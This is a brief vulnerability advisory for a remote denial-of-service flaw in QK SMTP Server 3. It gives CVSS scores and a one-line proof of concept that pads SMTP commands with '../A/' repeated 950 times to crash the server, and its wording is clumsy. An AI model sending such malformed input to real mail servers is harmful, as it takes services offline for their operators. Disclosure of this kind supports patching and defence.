QK SMTP Server 3 - Denial of service

2007.12.28
Risk: Medium
Local: No
Remote: Yes
CWE: CWE-20


CVSS Base Score: 7.8/10
Impact Subscore: 6.9/10
Exploitability Subscore: 10/10
Exploit range: Remote
Attack complexity: Low
Authentication: No required
Confidentiality impact: None
Integrity impact: None
Availability impact: Complete

Apparently this SMTP server crashes when creating a mail poorly trained causing a denial of service. Proof-of-concept HELO ../A/ * 950 MAIL FROM: ../A/ * 950 RCPT TO: ../A/ * 950 data ../A/ * 950 . Juan Pablo Lopez Yacubian http://fuzzertina.blogspot.com/


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